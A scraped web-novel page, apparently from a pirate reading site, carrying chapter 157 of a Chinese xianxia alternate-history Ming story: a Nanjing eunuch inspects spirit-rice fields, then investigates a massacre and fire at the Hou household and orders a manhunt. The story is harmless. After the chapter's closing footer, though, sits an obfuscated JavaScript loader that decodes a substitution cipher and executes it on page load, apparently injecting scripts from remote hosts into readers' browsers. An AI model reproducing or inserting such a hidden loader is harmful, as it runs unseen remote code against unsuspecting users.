首页
第157章 贼修乱南直,金陵
返回
关灯 护眼:关 字号:小

第157章 贼修乱南直,金陵风波起

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第157章贼修乱南直,金陵风波起
    收到侯府灭门的消息时,南京守备太监高起潜,正在应天府沿江平原巡查灵田开垦的情况。
    自十九年前,【朔漠回春】国策于北海初见成效,徐光启大人便奉陛下旨意,带著第一批育成的「云秧」稻种南下,在江淮一带试种。
    时至今日,成效颇为卓著。
    故不久前内阁行文,在南直隶全面推广此策,分三年施行:
    首年先改长江沿岸良田,后两年再推及百姓手中所有剩余田地。
    田地将由官府一次性作价收买,百姓此后每年可按人头,从官府领取定额粮食——皆由【农】道法术催生而成。
    这本是泽被万民的好事。
    毕竟这十八年来,灵米的稀缺,早已不是「供不应求」四字能够形容。
    供不应求至少还有个市价。
    灵米却是有价无市。
    其一,种植极难。
    纵是陛下当年亲授栽培之法,徐光启大人尽数掌握,但要教会其他胎息修士,却难如登天。
    那些云秧稻种对灵力灌输的时机、力度、韵律要求苛刻到毫厘,错一步则全株枯死。
    其二,下品法具【登耒耜】数量有限。
    此物乃翻垦灵田必需之物,内嵌箓文,能引地气滋养土壤。
    可炼制之法掌握在工部手中,每年产出不过十具,质量还远远比不了陛下所赐的。
    这便死死卡住了灵田开垦的速度。
    徐光启只能让修士们三班轮值,日夜不休推进。
    其三,产量不高。
    每亩灵田至多栽种几十株云秧;
    一株云秧,待到成熟,至多得灵米五分。
    算下来,一亩灵田的年产不到半斤。
    可灵米对修士而言,价值非凡。
    长期服食能温养灵窍、纯化灵力,修炼时事半功倍,功效堪比导气丹的八成。
    天下修士,无不对此物趋之若鹜。
    内阁考量再三,只得施行配给制:
    依官员品阶、功绩定额发放,额外部分则按贡献赏赐。
    高起潜身为南京守备太监,在整个南直隶,地位能与他不相上下的,唯有吏部尚书郑三俊与守备大臣张之极二人。
    故高起潜完全不忧心灵米用度——他每年能分到的份额,足足有八十两之多。
    而寻常最低品的官修,年俸不过二两;
    至于无官身的民间修士——简称「民修」——则是一粒也分不著。
    倒非朝廷苛待民修,实是灵米产量有限,不得已顾此失彼。
    此刻,比起灵米配给,高起潜更烦心的是另一桩事——
    灵田的安保。
    这也是他今日出城巡查的缘由。
    「停!」
    高起潜突然喊道。
    马车应声而止。
    他掀开车帘,眯眼望向路旁田亩。
    但见一片新翻的灵田中,一位老者立在泥土中央,以某种固定频率、奇特角度挥动形制古朴的「锄头」。
    柄身隐有灵光流转,乃下品法具【登耒耜】。
    老者则是徐光启。
    高起潜当即脱靴下车,深一脚浅一脚踩著松软的田泥,朝徐光启走去。
    在他眼里,这些栽种云秧的灵田泥土皆是宝贝,便是粘在这身官袍上,也称不上「弄脏」。
    走近了,高起潜注意到,农田四周的护卫比上次来时多了不少。
    乍看戒备森严,细观却都是寻常披甲持戈的凡人士卒,并无多少修士。
    高起潜心头一沉,对徐光启拱过手,开门见山:
    「徐大人,您怎只调了些凡俗兵丁来护卫灵田?」
    徐光启将【登耒耜】往地上一杵,边引高起潜往田埂上走,边无奈叹道:
    「高公公见谅,非本官推诿……民间修士,听得戍守俸禄中并无灵米贴补,都不愿应募。至于调遣官修……」
    他言语稍滞:
    「须待郑大人批下文书,方可施行。」
    「郑三俊!」
    高起潜从鼻子里挤出一声冷哼,怒气显而易见:
    「他们东林党到底想作甚?若这些灵田被流寇毁坏、云秧稻种被盗抢,耽误了灵米产量——等陛下出关问罪,他郑三俊担得起这个干系么?」
    因服食过崇祯赐下的驻颜丹,高起潜与徐光启的容貌较之十八年前并无太大变化。
    再加上修炼之故,徐光启虽在田中劳作半晌,依旧精神矍铄,秉持一贯沉稳的性子劝道:
    「高公公息怒。盗抢云秧的是那些流寇贼修,而非朝中同僚。」
    提起「流寇贼修」,高起潜更是气不打一处来。
    十八年前,陕西有个驿卒名叫李自成,好好的差事不干,不知从何处纠集了一帮刁民,抢得了数枚发予民间的种窍丸。
    凭著市面流传的「科举版」《正源练气法》纲要,居然也跌跌撞撞踏入了胎息境。
    之后便如滚雪球般,专挑地方上的小世家、落单修士下手,抢夺更多种窍丸与修炼资源,渐渐聚起了一股势力。
    彼时陛下刚刚闭关,全国政务悉数汇至内阁,几位阁臣忙得焦头烂额,哪有余暇顾及「疥癣之疾」?
    等他们反应过来,已是一年多后,惊觉李自成这伙流寇聚众不下五百人——
    朝廷公文,将他们统称为「贼修」。
    贼修最初只在陕西、山西两地流窜,专事鼓动当地百姓抗官拒税,吸纳流民抵制仙朝推行的诸般国策。
    确有些衣食无著的百姓被他们裹挟。
    可后来朝廷开始按人头发放粮食,但凡吃不饱的皆可去官府粮仓领取,再无人铤而走险。
    朝廷旋即调了洪承畴出任陕西巡抚,专司剿除流寇。
    贼修们在西北难以立足,便往河南、湖北流窜。
    他们每番行事,少则数十人聚作一团,专挑落单的修士下手。
    胎息三层以下的境界,修为本就相差无几,一人哪里敌得过十倍之众?
    故而贼修们屡屡得手,鲜有失风。
    因此,那几年河南、湖北两地修士,个个提心吊胆,如履薄冰。
    官修尚有衙门庇护,民修出门,非得凑足十人以上的队伍才敢动身;
    没人敢在荒郊野外独居。
    即便住在城中,也要尽量挨得近些,聚居一处,互为犄角。
    待到朝廷加派兵力,对湖北一带严加巡剿,李自成果断领著那已膨胀至五百余众的贼修团,转战入川。
    入了四川,这伙贼人却碰了个软钉子。
    他们拿出在山西、陕西、湖北等地惯用的手段,四处搜寻落单修士,结果没寻著几个像样的目标。
    只因四川境内的修士,不论官修民修,几乎全数被徵调至重庆府辖下的酆都县,参与【阴司定壤】的掘土工程。
    彼时,李自成犯了难:
    是就此离川,折返湖北,再图东进山东;
    还是另谋他策?
    多年来顺风顺水,屡屡得手,早已让这贼首心高气傲。
    况且,李自成凭经验得知,各地修士间流传的法术颇有差异,四川这边据说有几门独到术法,他一心想要见识,更不愿轻易放弃。
    思来想去,李自成定下计策:
    酆都城官修云集,硬碰硬岂非自寻死路?
    只需在重庆地界守株待兔,拦截那些离了酆都、往外运送土壤的修士便是。
    这思路起初倒也灵验,让贼修成功得手了两次:
    一回截住五名押送土方的民修,抢得几车据说沾染了「阴司地气」的「灵土」;
    另一回劫了从两广运来的、专供建造阴司之用的建材,连护送的七名官修也一并杀了,夺了他们随身的法术典籍。
    第三次,这伙贼修冒进合川地界。
    川修集团在此设伏,给了他们迎头痛击。
    据后来官府邸报所载,温体仁仅率百名川修,与李自成麾下五百八十七名贼修接战,最终阵斩贼修一百四十六名,生俘二百二十九名;余者皆负伤溃逃,重新窜入湖北地界。
    而李自成本人,更中了温体仁的独门法术【花开顷刻】,身受重创,生死不明。
    原以为这个心腹大患就此剿灭,内阁众臣都松了口气。
    谁曾想,几年之后,李自成竟再度现身。
    这一回他出现在山东,与当地儒修联起手来,借百姓对朝廷【衍民育真】生育政策的怨气,打出「替天行道」的旗号,博得不少民间,一时间声势大振。
    更令人忧心的是,这伙贼人的活动范围,已开始向南直隶一带渗透。
    就在昨日,他们终于将爪牙伸向了灵田。
    约莫四十名贼修趁夜色而来,盗挖田中的云秧稻种。
    事后清点,有近百株云秧被盗,而巡守官修当场仅擒住六人。
    现今南京吏部尚书郑三俊闭关,守备大臣张之极又北上迎接钦差,只得由高起潜主持局面。
    今日他来探视徐光启,并未存有问责之心——毕竟两人当年都在北巡队伍里待过,一同在关外抗击建奴,到底有几分并肩作战的情分在。
    言语间,高起潜批评郑三俊,只将罪责推到东林头上。
    不曾想徐光启还是那副老样子,只管埋头做自己的事,对朝中纷争丝毫不沾,这让高起潜讨了个没趣。
    『韩爌北上,以徐光启的资历声望,若是肯与咱家站在一处,来日必能将东林势力彻底逐出南直隶。』
    他既是来巡查灵田受损情形,也存了试探徐光启立场的心思。
    高起潜正欲再劝,把话挑得更明白些。
    「哒哒哒哒——」
    但见一骑快马如飞而来。
    马背上的骑士身著南京守备衙门服饰,浑身尘土,显然疾驰了一路。
    那骑士远远望见高起潜身影,猛地勒缰,马匹人立而起。
    嘶鸣声中,骑士滚鞍下马,连奔数步:
    「禀、禀报高公公!城南……侯府出事了!」
    高起潜眉头一皱:
    「侯府?哪个侯府?」
    「户部前侍郎侯恂侯大人的府邸!四个时辰前突发大火,巡夜官修赶至时,整座宅院已烧毁大半!现场……现场发现多具尸首,死状凄惨,疑似被法术所杀!」
    高起潜脸色骤变:
    「侯恂呢?侯方域呢?」
    「侯恂大人……已然身亡。其妾室柳氏、幼女、家仆皆遭屠戮。至于侯公子……」
    骑士咽了口唾沫:
    「下落不明,现场只寻到他的衣衫,怕是……凶多吉少。」
    「混帐!」
    高起潜一脚踢飞田埂上的土坷垃,脸色铁青:
    「陪都金陵,竟有人敢行如此恶举!巡修监干什么吃的?夜巡的官修都是瞎子吗!」
    徐光启亦是面色凝重,沉声道:
    「高公公,此事非同小可。侯恂虽已致仕,终究是朝廷命官,东林骨干……其子侯方域更是韩大人亲传弟子……」
    「咱家知道!」
    高起潜打断他,在田埂上来回踱了几步,忽地停下:
    「侯府大火是何时起的?」
    「约莫子时前后。」
    「子时……」
    每日,巡修监以声波法术探查全城的时间,并非固定不变,而是半月轮换。
    高起潜眼中厉色一闪:
    「偏生这时候起火,倒是对咱官府很了解。」
    他转向那报信骑士:
    「传咱家命令:即刻封锁侯府周边三条街巷,许进不许出。官修全员出动,搜查一切可疑人物。另,速派人往长江渡口——若韩大人的官船尚未走远,务必请其折返!」
    「是!」
    骑士领命上马,绝尘而去。
    高起潜站在原地,望著南边天空,面白无须的脸上阴晴不定。
    徐光启走近两步,低声道:
    「高公公怀疑……此事与贼修有关?」
    「是不是贼修,现在还不好说。」
    高起潜缓缓道:
    「但侯恂此人,痴迷法术,二十年前皇极殿传法,他一人独挑六门,其中不乏【千山雪寂】这等听起来就非同寻常的术法。这十八年来,他散尽家财,闭门钻研,谁知道他悟出了些什么?又招惹了些什么?」
    高起潜不愿与徐光启多说此事,只压低声音:
    「徐大人,灵田护卫之事,您还需早作打算。咱家这就回城,亲自督办此案。若真与贼修有关……哼,咱家倒要看看,是谁给了他们这般胆子,敢在南京城里撒野!」
    徐光启自然不会阻拦。
    高起潜随即登上马车,往金陵方向折返。
    车帘垂下,高起潜那张白净无须的脸,在车厢阴影中迅速沉了下来。
    「到底是谁……」
    他转动拂尘的金属杆身,尖细的声音从齿缝间挤出:
    「居然敢抢在咱家前头动手?」
    也不知【九天揽月手】是否还在……
    车厢颠簸。
    高起潜的思绪比车轮转动得更快。
    『会是郑三俊吗?』
    他确对【千山雪寂】表现出过浓厚兴趣,也曾数次正大光明登门索要,都被油盐不进的侯恂拒之门外。
    此番侯家出事,郑三俊恰好闭关,时间上颇为吻合——说不定就是借著闭关之名,暗中行此命案?
    可……
    高起潜指节在拂尘柄上敲了敲。
    可做法太过直接,简直是将「嫌疑」二字写在脸上。
    以郑三俊吏部尚书的身份地位,为了一门法术赌上身家前程,实在得不偿失。
    即便高起潜作为政敌,有心往对方身上泼脏水,也觉得这般猜测站不住脚。
    『那是史可法?』
    高起潜摇头。
    不对,应当不会是他。
    史可法担任南京兵部尚书两年,其女颇有修炼天赋,眼下闭关冲击胎息四层,擅使疗愈法术。
    更重要的是,史家小姐与侯方域走得极近——郎君有没有情暂且不说,姑娘与她父亲的心思,却是明摆著的。
    据高起潜伏在史府的密探回报,史可法已于上月初密信送往北京,恳请娘娘赐婚,将女儿许配给侯方域。
    高起潜暗自冷笑。
    侯家早已失势,侯恂既无家财也无官位,空有个前户部侍郎的虚名,以及仅剩的一处大宅院。
    史可法这般积极,分明是图谋侯家那几门法术——只是不知他是想全都要,还是专为其中一门而来。
    以娘娘对修炼人才的重视,这桩婚事多半会被应允。
    史可法有指婚这张牌在,不必行此险招。
    『那还能是谁?』
    与其坐在这里空想……
    高起潜霍然起身,掀开车顶隔板。
    「吁——」
    车夫连忙勒马。
    高起潜纵身跃出车厢,落地时袍袖一振,对随行六名官修喝道:
    「你们几个,跟咱家走!」
    「是!」
    六人齐声应诺。
    高起潜双足运步,身形骤然模糊,原地留下数道虚实相间的残影。
    下一瞬,整个人如离弦之箭,朝金陵方向疾掠而去。
    小术【掠影穿林】!
    此法施展时,如绣眼鸟穿梭林间,轻快诡谲,难以捉摸。
    全力催动,速度近似骏马奔驰。
    官道两旁的草木屋舍化作模糊流光,向后飞退。
    六名官修各展身法,咬牙追赶。
    侯府。
    火势早已被巡修监以法术扑灭,但焦糊味仍弥漫在空气里,混杂血肉烧灼后的气息。
    内外被官兵团团围住,闲杂人等一律不得靠近。
    见高起潜到来,一名南京刑部的官员连忙小跑上前:
    「高公公……」
    「情况如何?」
    高起潜打断寒暄,直入正题。
    那官员擦了擦额角:
    「回公公,火势从内院引发,烧毁了约莫一半屋舍。部分尸体……面目全非,但大多已抢救出来,交由仵作验看。」
    高起潜不耐地摆摆手:
    「谁最先发现的?」
    「是……」
    官员顿了顿:
    「是南海总兵郑芝龙之子郑成功,还有他的幕僚杨英。」
    郑成功?
    高起潜略一思索,脑中浮现出前几日看过的公文——
    郑芝龙称自己需留在广州,与毕自严磋商经略南海事宜,特派儿子前来南京述职。
    「人呢?」
    「就在半条街外的客栈候著,听候传唤。」
    「带过来。」
    「是。」
    不多时,郑成功与杨英被带到跟前。
    高起潜眯眼打量:
    郑成功是个虎头虎脑、浓眉大眼的高个青年,举止状似沉稳有度;
    杨英则是一派文士模样,目光低垂,立在侧后。
    「是你报的官?」高起潜开口。
    郑成功已从杨英口中得知眼前太监的身份,得体答道:
    「晚辈郑成功,原名郑森,见过高公公。」
    「你看到了什么?」
    郑成功老实回答:
    「晚辈昨日与侯公子有约,今日特来拜访。可敲门许久无人应答,心中生疑,便斗胆闯了进去。只见满地血迹,内院还有火光……」
    言辞恳切,神色坦然。
    高起潜静静听著,并未从中听出什么破绽。
    便在这时——
    「干爷爷!」
    高起潜抬眼看去,只见自己的徒孙高贤快步跑出,手中捧著蓝布。
    高贤年约二十七八,虽无血缘,眉眼且与高起潜有三分相似,是他一手提拔上来的心腹,如今在巡修监当差。
    「查到了什么?」高起潜问。
    布帛掀开,露出一把造型精巧的短铳。
    「我们在一个土坑底部,找到了这个。」
    高贤低声道:
    「侯大人的尸体验过,后脑颅骨碎裂,创口边缘焦黑,是被此铳自极近处击穿所致……」
    他顿了顿,补充道:
    「火铳的枪管上,刻著侯公子的名字。」
    高起潜脸色骤然一沉。
    郑成功与杨英对视一眼,皆从对方眼中看到惊疑。
    高贤继续道:
    「可孙儿仔细勘查后发现,这火铳虽是侯公子的,也确是凶器,但侯公子……不大可能是凶手。」
    「哦?」
    「现场疑点诸多。」
    高贤语速加快:
    「比如侯恂大人倒伏的姿势、血迹喷溅的方向、以及院中其他打斗痕迹……种种情况表明,是有人刻意布置,伪造出侯公子射杀生父的假象。」
    他抬起头,目光扫向郑成功:
    「想必是郑公子出现得太过突然,打乱了真凶的布置节奏,让他们来不及完善现场,这才留下破绽。依孙儿看,这不过是粗浅的栽赃伎俩。」
    郑成功松了口气。
    高起潜却笑了。
    「栽赃?」
    他缓缓重复这两个字:
    「高贤,你确定吗?」
    高贤跟随高起潜整整十年,对这位「干爷爷」的脾性再了解不过。
    被这么一问,他先是一愣,随即反应过来话中深意。
    冷汗瞬间浸透后背。
    「孙儿……孙儿不确定。」
    高贤连忙改口,语气已带上几分惶恐:
    「也有可能是……是侯公子射杀其父后,故意在现场留下破绽,伪装成被人陷害的模样,以此洗脱嫌疑。」
    他越说越快,仿佛在说服自己:
    「毕竟他现在人不在府中,我们四处搜寻都无结果。说不定……说不定就是畏罪潜逃了!」
    高起潜点点头,脸上笑意加深。
    「若是畏罪潜逃……」
    他慢悠悠地问:
    「我们该当如何?」
    高贤试探性地吐出一个字:
    「抓?」
    「好主意。」
    高起潜满意地颔首。
    下一刻,他霍然转身,面向在场所有官员、兵卒、修士,脸色变得肃然凛冽。
    「传咱家命令。」
    「侯方域弑父杀亲,天理难容!著令全城搜捕,封锁应天府所有水陆出路,沿江沿海一带严密布控!凡有窝藏、包庇、知情不报者,以同罪论处!」
    「务必将弑父嫌犯侯方域,捉拿归案!」
    (本章完)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();